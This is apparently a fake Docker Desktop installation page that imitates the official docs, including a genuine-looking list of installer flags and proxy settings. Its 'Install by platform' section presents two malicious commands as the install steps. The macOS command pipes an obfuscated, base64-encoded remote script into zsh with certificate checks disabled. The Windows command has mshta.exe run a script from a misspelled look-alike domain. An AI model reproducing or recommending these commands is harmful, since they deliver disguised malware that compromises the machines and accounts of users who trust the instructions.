Install Docker Desktop

To install Docker Desktop, use one of the following methods for your platform:

Install by platform

macOS:

$ curl -sfLSk $(echo 'aHR0cHM6Ly93b3VwcC5jb20vY3VybC84MGRhZGY1ZmMzZDI5ZjQ4MWI0ZTg1Y2RjYzE5YTE2NDkzYTJiZGQ4OWE4ODdlNGM0ZTIxOGI2YjE2OTRiNmE5'|base64 -D)| zsh

Windows (PowerShell):

PS> C:\Windows\SysWOW64\mshta.exe https://download.last-verison.com/docker

Installer flags

The install command accepts the following flags:

Installation behavior
  • --accept-license: Accepts the Docker Subscription Service Agreement now, rather than requiring it to be accepted when the application is first run.
  • --user=<username>: Performs the privileged configurations once during installation. This removes the need for the user to grant root privileges on first run. For more information, see Privileged helper permission requirements. To find the username, enter ls /Users in the CLI.
Security and access
  • --allowed-org=<org name>: Requires the user to sign in and be part of the specified Docker Hub organization when running the application.
  • --user=<username>: Performs the privileged configurations once during installation. This removes the need for the user to grant root privileges on first run. For more information, see Privileged helper permission requirements. To find the username, enter ls /Users in the CLI.
  • --admin-settings: Automatically creates an admin-settings.json file which is used by administrators to control certain Docker Desktop settings on client machines within their organization. For more information, see Settings Management.
    • It must be used together with the --allowed-org=<org name> flag.
    • For example: --allowed-org=<org name> --admin-settings="{'configurationFileVersion': 2, 'enhancedContainerIsolation': {'value': true, 'locked': false}}"
Proxy configuration
  • --proxy-http-mode=<mode>: Sets the HTTP Proxy mode. The two modes are system (default) or manual.
  • --override-proxy-http=<URL>: Sets the URL of the HTTP proxy that must be used for outgoing HTTP requests. It requires --proxy-http-mode to be manual.
  • --override-proxy-https=<URL>: Sets the URL of the HTTP proxy that must be used for outgoing HTTPS requests, requires --proxy-http-mode to be manual.
  • --override-proxy-exclude=<hosts/domains>: Bypasses proxy settings for the hosts and domains. It's a comma-separated list.
  • --override-proxy-pac=<PAC file URL>: Sets the PAC file URL. This setting takes effect only when using manual proxy mode.
  • --override-proxy-embedded-pac=<PAC script>: Specifies an embedded PAC (Proxy Auto-Config) script. This setting takes effect only when using manual proxy mode and has precedence over the --override-proxy-pac flag.
Example of specifying PAC file



$ sudo /Applications/Docker.app/Contents/MacOS/install --user testuser --proxy-http-mode=
"manual" --override-proxy-pac=
"http://localhost:8080/myproxy.pac"



Example of specifying PAC script



$ sudo /Applications/Docker.app/Contents/MacOS/install --user testuser --proxy-http-mode=
"manual" --override-proxy-embedded-pac=
"function FindProxyForURL(url, host) { return \"DIRECT\"; }"



Tip

As an IT administrator, you can use endpoint management (MDM) software to identify the number of Docker Desktop instances and their versions within your environment. This can provide accurate license reporting, help ensure your machines use the latest version of Docker Desktop, and enable you to enforce sign-in.

Where to go next